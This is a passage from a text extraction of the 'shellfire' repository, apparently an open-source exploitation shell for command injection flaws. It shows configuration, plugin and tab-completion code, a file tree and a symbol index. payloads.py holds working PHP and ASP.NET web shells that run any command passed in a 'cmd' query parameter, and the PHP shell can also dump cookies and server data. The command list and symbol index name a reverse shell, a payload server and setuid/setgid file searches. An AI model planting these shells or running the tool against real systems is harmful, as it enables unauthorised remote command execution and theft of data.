"help_text": [
"useragent - show the User-Agent string.\n",
"useragent <string> - set the value for User-Agent.\n",
],
},
"quit": {
"func": cmd_exit,
"description": "Alias of \".exit\"",
"help_text": [
"quit - exits this program.\n"
],
},
}
================================================
FILE: shellfire/config.py
================================================
import os
import json
import pkg_resources
import requests
from tokenize import Number
from typing import List
from enum import Enum
## define application modes
class Mode(Enum):
config = 1
shell = 2
## define our shell prompts
prompt = {Mode.config: "config", Mode.shell: "shell"}
## session configurable options defined here
class Configs():
auth: str
auth_user: str
auth_pass: str
cookies: object
default_headers: object
encode_chain: List[any]
files: dict
fuzzfile: str
headers: object
history_file: str
http_port: Number
marker: str
marker_idx: List[int]
method: str
payload: str
payload_type: str
post_data: object
url: str
version: str
def __init__(self):
self.version = pkg_resources.require("shellfire")[0].version
self.url = "http://www.example.com?"
self.history_file = os.path.abspath(
os.path.expanduser("~/.shellfire_history"))
self.post_data = {}
self.cookies = {}
self.headers = {
'User-Agent': '',
'Referer': ''
}
"""The default header set for outgoing requests.
"""
self.default_headers = {
'User-Agent': ''
}
self.method = "get"
self.auth = None
self.auth_user = None
self.auth_pass = None
self.payload = ""
self.payload_type = "PHP"
self.encode_chain = []
self.encode = None
self.files = {}
self.fuzzfile = "default"
self.marker = "--9453901401ed3551bc94fcedde066e5fa5b81b7ff878c18c957655206fd538da--"
self.marker_idx = [1]
self.http_port = 8888
def dump(self):
return json.dumps(self.__dict__)
def load(self, json_cfg):
self.__dict__.update(json_cfg)
return
## instantiate our config class
cfg = Configs()
## store our ephemeral state here
class state():
args = None
http_running = False
revshell_running = False
userinput = None
input_offset = 0
exec_cmd = True
requests = requests.Session()
mode = Mode.config
================================================
FILE: shellfire/default_plugins/__init__.py
================================================
================================================
FILE: shellfire/default_plugins/default.py
================================================
import base64 as b64
import urllib.parse
from shellfire.plugin_collection import Plugin
class Base64(Plugin):
"""Base64 encode your input
"""
def __init__(self):
super().__init__()
self.description = 'Base64'
def run(self, argument):
return b64.b64encode(str(argument).encode()).decode()
class urlencode(Plugin):
"""URL encode your input
"""
def __init__(self):
super().__init__()
self.description = 'URL encode'
def run(self, argument):
return urllib.parse.quote(argument)
================================================
FILE: shellfire/payloads.py
================================================
def get_aspnet_payload(marker) -> str:
return f"""\
{marker}<%
Dim objShell = Server.CreateObject("WSCRIPT.SHELL")
Dim command = Request.QueryString("cmd")
Dim comspec = objShell.ExpandEnvironmentStrings("%comspec%")
Dim objExec = objShell.Exec(comspec & " /c " & command)
Dim output = objExec.StdOut.ReadAll()
%><%= output %>{marker}
"""
def get_php_payload(marker) -> str:
return f"""\
{marker}<?php
if ($_GET['cmd'] == '_show_phpinfo') {{
phpinfo();
}} else if ($_GET['cmd'] == '_show_cookie') {{
var_dump($_COOKIE);
}} else if ($_GET['cmd'] == '_show_get') {{
var_dump($_GET);
}} else if ($_GET['cmd'] == '_show_post') {{
var_dump($_POST);
}} else if ($_GET['cmd'] == '_show_server') {{
var_dump($_SERVER);
}} else {{
system($_GET['cmd']) || print `{{$_GET['cmd']}}`;
}}
?>{marker}
"""
================================================
FILE: shellfire/plugin_collection.py
================================================
import inspect
import os
import pkgutil
import sys
class Plugin(object):
"""Base class that each plugin must inherit from. within this class
you must define the methods that all of your plugins must implement
"""
def __init__(self):
self.description = 'UNKNOWN'
def run(self, argument):
"""The method that we expect all plugins to implement. This is the
method that our framework will call
"""
raise NotImplementedError
class PluginCollection(object):
"""Upon creation, this class will read the plugins package for modules
that contain a class definition that is inheriting from the Plugin class
"""
debug = False
def __init__(self, plugin_package, debug=False):
"""Constructor that initiates the reading of all available plugins
when an instance of the PluginCollection object is created
"""
if debug:
self.debug = True
self.plugin_package = plugin_package
self.reload_plugins()
def reload_plugins(self):
"""Reset the list of all plugins and initiate the walk over the main
provided plugin package to load all available plugins
"""
self.plugins = {}
self.seen_paths = []
if type(self.plugin_package) == list:
for pkg in self.plugin_package:
if self.debug:
print()
print(f'Looking for plugins under package {pkg}')
self.walk_package(pkg)
else:
if self.debug:
print()
print(f'Looking for plugins under package {self.plugin_package}')
self.walk_package(self.plugin_package)
def apply(self, name, argument):
"""Apply a plugin on the argument supplied to this function
"""
try:
plugin = self.plugins[name]
argument = plugin.run(argument)
if self.debug is True:
print(f' -> {plugin.description} : {argument}')
except Exception as e:
print(f"Error in {plugin.description}: {e}")
return argument
def apply_all(self, argument):
"""Apply all of the plugins on the argument supplied to this function
"""
print()
print(f'Applying all plugins on value {argument}:')
for plugin in self.plugins:
try:
argument = plugin.run(argument)
if self.debug:
print(f' -> {plugin.description} : {argument}')
except Exception as e:
print(f"Error in {plugin.description}: {e}")
return argument
def walk_package(self, package):
"""Recursively walk the supplied package to retrieve all plugins
"""
try:
imported_package = __import__(package, fromlist=['n/a'])
except Exception as e:
if package != "plugins":
print(f"Error: {e}")
return
for _, pluginname, ispkg in pkgutil.iter_modules(
imported_package.__path__,
imported_package.__name__ + '.'):
if not ispkg:
plugin_module = __import__(pluginname, fromlist=['n/a'])
clsmembers = inspect.getmembers(plugin_module, inspect.isclass)
for (_, c) in clsmembers:
## Only add classes that are a sub class of Plugin, NOT Plugin itself
if issubclass(c, Plugin) & (c is not Plugin):
if self.debug:
print(f' Found plugin: {c.__name__.lower()}')
## make sure the key is the lowercase version of the class name
self.plugins[c.__name__.lower()] = c()
## Now that we have looked at all the modules in the current package,
## start looking recursively for additional modules in sub packages.
all_current_paths = []
if isinstance(imported_package.__path__, str):
all_current_paths.append(imported_package.__path__)
else:
all_current_paths.extend([x for x in imported_package.__path__])
for pkg_path in all_current_paths:
if pkg_path not in self.seen_paths:
self.seen_paths.append(pkg_path)
## Only proceed if pkg_path is a real directory
if os.path.isdir(pkg_path):
## Get all sub directory of the current package path directory
child_pkgs = [p for p in os.listdir(pkg_path)
if os.path.isdir(os.path.join(pkg_path, p))]
## For each sub directory, apply the walk_package method recursively
for child_pkg in child_pkgs:
self.walk_package(package + '.' + child_pkg)
return
## set the search path for custom plugins
sys.path.append(os.path.expanduser("~/.config/shellfire"))
## initialize our available plugins
plugins = PluginCollection(['shellfire.default_plugins', 'plugins'], debug=False)
================================================
FILE: shellfire/tab_completion.py
================================================
#!/usr/bin/env python3
"""
Tab completion for ShellFire CLI
Provides command and subcommand completion for the ShellFire exploitation shell.
"""
import os
import readline
import glob
from typing import List, Optional
class ShellfireCompleter:
"""Tab completion for ShellFire commands and subcommands."""
def __init__(self):
"""Initialize the completer with command lists."""
# Import the actual command list from shellfire
try:
from shellfire.commands import command_list
self.config_commands = list(command_list.keys())
except ImportError:
# Fallback to hardcoded list if import fails
self.config_commands = [
'help', 'exit', 'config', 'shell', 'auth', 'cookies', 'encode',
'files', 'find', 'fuzz', 'headers', 'history', 'http', 'marker',
'method', 'phpinfo', 'plugins', 'post', 'referer', 'revshell',
'url', 'useragent', 'quit'
]
# Subcommands for config command
self.config_subcommands = [
'load', 'save', 'show', 'clear', 'reset'
]
# Subcommands for plugin command
self.plugin_subcommands = [
'list', 'enable', 'disable', 'reload', 'info'
]
# Common file extensions for payloads
self.payload_extensions = ['.php', '.asp', '.aspx', '.jsp', '.py', '.sh']
# Common HTTP headers
self.http_headers = [
'User-Agent', 'Accept', 'Accept-Language', 'Accept-Encoding',
'Content-Type', 'Content-Length', 'Authorization', 'Cookie',
'Referer', 'X-Forwarded-For', 'X-Requested-With'
]
# Common user agents
self.user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
'curl/7.68.0', 'wget/1.20.3'
]
# Common URL schemes and patterns
self.url_patterns = [
'http://', 'https://', 'ftp://', 'file://'
]
def complete(self, text: str, state: int) -> Optional[str]:
"""
Main completion function called by readline.
Args:
text: The text to complete
state: The state of completion (0 for first call, 1+ for subsequent)
Returns:
The completion string or None if no more completions
"""
if state == 0:
# First call - build the list of completions
# Get the full line buffer to understand context
full_line = readline.get_line_buffer()
self.matches = self._get_completions(full_line)
# Return the next match or None if no more
try:
return self.matches[state]
except IndexError:
return None
def _get_completions(self, text: str) -> List[str]:
"""
Get all possible completions for the given text.
Args:
text: The text to complete
Returns:
List of possible completions
"""
if not text:
return []
# Check if text ends with space (indicating we want subcommand completion)
ends_with_space = text.endswith(' ')
# Split the input to understand the context
parts = text.split()
if len(parts) == 1 and not ends_with_space:
# First word - complete main commands
return [cmd for cmd in self.config_commands if cmd.startswith(text)]
elif len(parts) >= 1 and (len(parts) >= 2 or ends_with_space):
# Second or later word - complete subcommands or arguments
command = parts[0]
current_word = parts[-1] if len(parts) > 1 else ""
# If we have a space at the end or current_word is empty, show all subcommands
if ends_with_space or not current_word:
if command == 'config':
return self._complete_config_subcommand('')
elif command == 'http':
return self._complete_http_subcommand('')
elif command == 'method':
return self._complete_method_subcommand('')
elif command == 'marker':
return self._complete_marker_subcommand('')
elif command == 'history':
return self._complete_history_subcommand('')
elif command == 'fuzz':
return self._complete_fuzz_subcommand('')
elif command == 'find':
return self._complete_find_subcommand('')
elif command == 'help':
return self._complete_help_subcommand('')
else:
return []
# Otherwise complete based on what's typed
if command == 'config':
return self._complete_config_subcommand(current_word)
elif command == 'http':
return self._complete_http_subcommand(current_word)
elif command == 'method':
return self._complete_method_subcommand(current_word)
elif command == 'marker':
return self._complete_marker_subcommand(current_word)
elif command == 'history':
return self._complete_history_subcommand(current_word)
elif command == 'fuzz':
return self._complete_fuzz_subcommand(current_word)
elif command == 'find':
return self._complete_find_subcommand(current_word)
elif command == 'help':
return self._complete_help_subcommand(current_word)
elif command in ['load', 'save']:
return self._complete_file_path(current_word)
else:
# For other commands, try file completion
return self._complete_file_path(current_word)
return []
def _complete_config_subcommand(self, text: str) -> List[str]:
"""Complete config subcommands."""
config_subcommands = ['save', 'load']
return [cmd for cmd in config_subcommands if cmd.startswith(text)]
def _complete_http_subcommand(self, text: str) -> List[str]:
"""Complete http subcommands."""
http_subcommands = ['payload', 'start', 'stop']
return [cmd for cmd in http_subcommands if cmd.startswith(text)]
def _complete_method_subcommand(self, text: str) -> List[str]:
"""Complete method subcommands."""
method_subcommands = ['get', 'post', 'form']
return [cmd for cmd in method_subcommands if cmd.startswith(text)]
def _complete_marker_subcommand(self, text: str) -> List[str]:
"""Complete marker subcommands."""
marker_subcommands = ['set', 'out']
return [cmd for cmd in marker_subcommands if cmd.startswith(text)]
def _complete_history_subcommand(self, text: str) -> List[str]:
"""Complete history subcommands."""
history_subcommands = ['clear', 'nosave', 'save']
return [cmd for cmd in history_subcommands if cmd.startswith(text)]
def _complete_fuzz_subcommand(self, text: str) -> List[str]:
"""Complete fuzz subcommands."""
fuzz_subcommands = ['start']
return [cmd for cmd in fuzz_subcommands if cmd.startswith(text)]
def _complete_find_subcommand(self, text: str) -> List[str]:
"""Complete find subcommands."""
find_subcommands = ['setuid', 'setgid']
return [cmd for cmd in find_subcommands if cmd.startswith(text)]
def _complete_help_subcommand(self, text: str) -> List[str]:
"""Complete help subcommands (all available commands)."""
# Use the same command list as main commands
return [cmd for cmd in self.config_commands if cmd.startswith(text)]
def _complete_file_path(self, text: str) -> List[str]:
"""Complete file paths with glob patterns."""
if not text:
return ['.', '..']
# Handle tilde expansion
if text.startswith('~'):
text = os.path.expanduser(text)
# Get the directory and filename parts
dirname = os.path.dirname(text) or '.'
basename = os.path.basename(text)
try:
# List files in the directory
if os.path.exists(dirname):
files = os.listdir(dirname)
matches = []
for file in files:
if file.startswith(basename):
full_path = os.path.join(dirname, file)
if os.path.isdir(full_path):
matches.append(full_path + '/')
else:
matches.append(full_path)
return matches
except (OSError, PermissionError):
pass
return []
def _complete_http_header(self, text: str) -> List[str]:
"""Complete HTTP header names."""
return [header for header in self.http_headers if header.lower().startswith(text.lower())]
def _complete_user_agent(self, text: str) -> List[str]:
"""Complete user agent strings."""
return [ua for ua in self.user_agents if ua.lower().startswith(text.lower())]
def _complete_url(self, text: str) -> List[str]:
"""Complete URL patterns."""
return [url for url in self.url_patterns if url.startswith(text)]
def setup_tab_completion():
"""Setup tab completion for the current session."""
try:
completer = ShellfireCompleter()
readline.set_completer(completer.complete)
# Set up tab binding for macOS (libedit) vs GNU readline
import sys
if sys.platform == 'darwin':
# macOS uses libedit which has different binding syntax
readline.parse_and_bind('bind ^I rl_complete')
else:
# GNU readline
readline.parse_and_bind('tab: complete')
return True
except Exception as e:
print(f"[DEBUG] Tab completion setup failed: {e}")
return False
if __name__ == "__main__":
# Test the completer
completer = ShellfireCompleter()
test_inputs = ['au', 'co', 'pl', 'se']
for test_input in test_inputs:
completions = completer._get_completions(test_input)
print(f"'{test_input}' -> {completions}")
gitextract_hi56ynpr/
├── .gitignore
├── LICENSE
├── README.md
├── requirements.txt
├── setup.py
└── shellfire/
├── __init__.py
├── commands.py
├── config.py
├── default_plugins/
│ ├── __init__.py
│ └── default.py
├── payloads.py
├── plugin_collection.py
└── tab_completion.py
SYMBOL INDEX (74 symbols across 7 files)
FILE: shellfire/__init__.py
function draw_prompt (line 55) | def draw_prompt():
function sigint_handler (line 59) | def sigint_handler(signum, frame):
function cli (line 67) | def cli():
FILE: shellfire/commands.py
function payload_aspnet (line 21) | def payload_aspnet():
function payload_php (line 27) | def payload_php():
function payload_fuzzfile (line 33) | def payload_fuzzfile():
function show_help (line 75) | def show_help(cmd=None):
function http_server (line 89) | def http_server(port):
function rev_shell (line 119) | def rev_shell(addr, port):
function parse_to_dict (line 156) | def parse_to_dict(data):
function cmd_auth (line 180) | def cmd_auth(cmd):
function cmd_config (line 190) | def cmd_config(cmd):
function cmd_cookies (line 221) | def cmd_cookies(cmd):
function cmd_encode (line 236) | def cmd_encode(cmd):
function cmd_exit (line 261) | def cmd_exit(cmd):
function cmd_files (line 272) | def cmd_files(cmd):
function cmd_find (line 298) | def cmd_find(cmd):
function cmd_fuzz (line 314) | def cmd_fuzz(cmd):
function cmd_headers (line 332) | def cmd_headers(cmd):
function cmd_help (line 365) | def cmd_help(cmd):
function cmd_history (line 373) | def cmd_history(cmd):
function cmd_http (line 394) | def cmd_http(cmd):
function cmd_marker (line 435) | def cmd_marker(cmd):
function cmd_method (line 467) | def cmd_method(cmd):
function cmd_phpinfo (line 484) | def cmd_phpinfo(cmd):
function cmd_plugins (line 491) | def cmd_plugins(cmd):
function cmd_post (line 497) | def cmd_post(cmd):
function cmd_referer (line 511) | def cmd_referer(cmd):
function cmd_revshell (line 520) | def cmd_revshell(cmd):
function cmd_shell (line 542) | def cmd_shell(cmd):
function cmd_url (line 548) | def cmd_url(cmd):
function cmd_useragent (line 556) | def cmd_useragent(cmd):
function expand_payload (line 563) | def expand_payload(my_list, data):
function send_payload (line 583) | def send_payload():
FILE: shellfire/config.py
class Mode (line 10) | class Mode(Enum):
class Configs (line 18) | class Configs():
method __init__ (line 39) | def __init__(self):
method dump (line 72) | def dump(self):
method load (line 75) | def load(self, json_cfg):
class state (line 85) | class state():
FILE: shellfire/default_plugins/default.py
class Base64 (line 6) | class Base64(Plugin):
method __init__ (line 9) | def __init__(self):
method run (line 13) | def run(self, argument):
class urlencode (line 16) | class urlencode(Plugin):
method __init__ (line 19) | def __init__(self):
method run (line 23) | def run(self, argument):
FILE: shellfire/payloads.py
function get_aspnet_payload (line 2) | def get_aspnet_payload(marker) -> str:
function get_php_payload (line 15) | def get_php_payload(marker) -> str:
FILE: shellfire/plugin_collection.py
class Plugin (line 7) | class Plugin(object):
method __init__ (line 12) | def __init__(self):
method run (line 15) | def run(self, argument):
class PluginCollection (line 22) | class PluginCollection(object):
method __init__ (line 29) | def __init__(self, plugin_package, debug=False):
method reload_plugins (line 38) | def reload_plugins(self):
method apply (line 56) | def apply(self, name, argument):
method apply_all (line 68) | def apply_all(self, argument):
method walk_package (line 82) | def walk_package(self, package):
FILE: shellfire/tab_completion.py
class ShellfireCompleter (line 13) | class ShellfireCompleter:
method __init__ (line 16) | def __init__(self):
method complete (line 64) | def complete(self, text: str, state: int) -> Optional[str]:
method _get_completions (line 87) | def _get_completions(self, text: str) -> List[str]:
method _complete_config_subcommand (line 161) | def _complete_config_subcommand(self, text: str) -> List[str]:
method _complete_http_subcommand (line 166) | def _complete_http_subcommand(self, text: str) -> List[str]:
method _complete_method_subcommand (line 171) | def _complete_method_subcommand(self, text: str) -> List[str]:
method _complete_marker_subcommand (line 176) | def _complete_marker_subcommand(self, text: str) -> List[str]:
method _complete_history_subcommand (line 181) | def _complete_history_subcommand(self, text: str) -> List[str]:
method _complete_fuzz_subcommand (line 186) | def _complete_fuzz_subcommand(self, text: str) -> List[str]:
method _complete_find_subcommand (line 191) | def _complete_find_subcommand(self, text: str) -> List[str]:
method _complete_help_subcommand (line 196) | def _complete_help_subcommand(self, text: str) -> List[str]:
method _complete_file_path (line 201) | def _complete_file_path(self, text: str) -> List[str]:
method _complete_http_header (line 234) | def _complete_http_header(self, text: str) -> List[str]:
method _complete_user_agent (line 238) | def _complete_user_agent(self, text: str) -> List[str]:
method _complete_url (line 242) | def _complete_url(self, text: str) -> List[str]:
function setup_tab_completion (line 247) | def setup_tab_completion():
Condensed preview — 13 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (60K chars).
[
{
"path": ".gitignore",
"chars": 112,
"preview": ".DS_Store\n.env\n__pycache__\n**/*.pyc\nbin\ninclude\nlib\npyvenv.cfg\n.flake8\nshellfire.egg-info\ndist\n.vscode\nMakefile\n"
},
{
"path": "LICENSE",
"chars": 1305,
"preview": "BSD 2-Clause License\n\nCopyright (c) 2016, \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with"
},
{
"path": "README.md",
"chars": 3120,
"preview": "# shellfire\n\n_shellfire_ is an exploitation shell which focuses on exploiting command injection vulnerabilities. This ca"
},
{
"path": "requirements.txt",
"chars": 9,
"preview": "requests\n"
},
{
"path": "setup.py",
"chars": 803,
"preview": "from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup("
},
{
"path": "shellfire/__init__.py",
"chars": 5951,
"preview": "#!/bin/env python3\n# Thanks to Offensive-Security for inspiring this!\n# Written by unix-ninja\n# Aug 2016\n\nimport argpars"
},
{
"path": "shellfire/commands.py",
"chars": 26276,
"preview": "import copy\nimport json\nimport os\nimport readline\nimport requests\nimport select\nimport socket\nimport sys\nimport threadin"
},
{
"path": "shellfire/config.py",
"chars": 1950,
"preview": "import os\nimport json\nimport pkg_resources\nimport requests\nfrom tokenize import Number\nfrom typing import List\nfrom enum"
},
{
"path": "shellfire/default_plugins/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "shellfire/default_plugins/default.py",
"chars": 559,
"preview": "import base64 as b64\nimport urllib.parse\n\nfrom shellfire.plugin_collection import Plugin\n\nclass Base64(Plugin):\n \"\"\"B"
},
{
"path": "shellfire/payloads.py",
"chars": 809,
"preview": "\ndef get_aspnet_payload(marker) -> str:\n return f\"\"\"\\\n{marker}<%\nDim objShell = Server.CreateObject(\"WSCRIPT.SHELL\")\nDi"
},
{
"path": "shellfire/plugin_collection.py",
"chars": 4522,
"preview": "import inspect\nimport os\nimport pkgutil\nimport sys\n\n\nclass Plugin(object):\n \"\"\"Base class that each plugin must inherit"
},
{
"path": "shellfire/tab_completion.py",
"chars": 10790,
"preview": "#!/usr/bin/env python3\n\"\"\"\nTab completion for ShellFire CLI\nProvides command and subcommand completion for the ShellFire"
}
]
About this extraction
This page contains the full source code of the unix-ninja/shellfire GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 13 files (54.9 KB), approximately 14.1k tokens, and a symbol index with 74 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.